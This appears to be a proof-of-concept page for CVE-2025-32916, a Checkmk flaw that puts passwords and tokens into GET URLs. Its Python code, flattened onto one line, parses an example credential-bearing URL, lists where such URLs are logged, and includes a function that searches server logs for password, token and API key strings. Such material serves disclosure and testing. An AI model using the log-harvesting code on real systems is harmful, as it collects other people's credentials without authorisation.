CVE-2025-32916 Checkmk敏感信息通过GET请求泄露漏洞

# CVE-2025-32916 PoC - Sensitive Data Exposure via GET Requests in Checkmk # This PoC demonstrates how sensitive form data can be exposed in URL parameters import requests from urllib.parse import urlparse, parse_qs # Target Checkmk instance TARGET_URL = "https://target-checkmk-instance.com/mysite/login" # Step 1: Identify forms that use GET method for sensitive data def check_form_method(url): """Check if forms on the page use GET method for sensitive data submission""" response = requests.get(url) # Look for forms with method="GET" that contain sensitive fields sensitive_fields = ['password', 'secret', 'token', 'api_key', 'credentials'] # Example of vulnerable form pattern: # <form method="GET" action="/mysome_page"> # <input type="password" name="password" /> # <input type="text" name="username" /> # </form> print(f"[*] Checking forms at: {url}") print(f"[*] Looking for GET method forms with sensitive fields...") return response.text # Step 2: Demonstrate the vulnerability - sensitive data in URL def demonstrate_vulnerability(): """Demonstrate how sensitive data ends up in URL parameters""" # When a form uses GET method, the URL will contain: vulnerable_url = "https://target-checkmk-instance.com/mysite/edit_password?username=admin&password=SuperSecret123&api_token=abc123xyz" parsed = urlparse(vulnerable_url) params = parse_qs(parsed.query) print(f"\n[+] Vulnerable URL detected:") print(f" URL: {vulnerable_url}") print(f"\n[+] Exposed parameters:") for key, value in params.items(): print(f" {key} = {value[0]}") # Step 3: Show where this data could be logged print(f"\n[*] This URL may be logged in:") print(f" - Browser history") print(f" - Web server access logs (Apache/Nginx)") print(f" - Reverse proxy logs") print(f" - HTTP Referer headers sent to third-party resources") print(f" - Network monitoring tools / SIEM systems") # Step 4: Extract sensitive data from server logs def extract_from_logs(log_file): """Extract sensitive data from web server access logs""" sensitive_patterns = ['password', 'secret', 'token', 'api_key'] with open(log_file, 'r') as f: for line in f: for pattern in sensitive_patterns: if pattern in line.lower(): print(f"[!] Sensitive data found in log: {line.strip()}") break if __name__ == "__main__": demonstrate_vulnerability()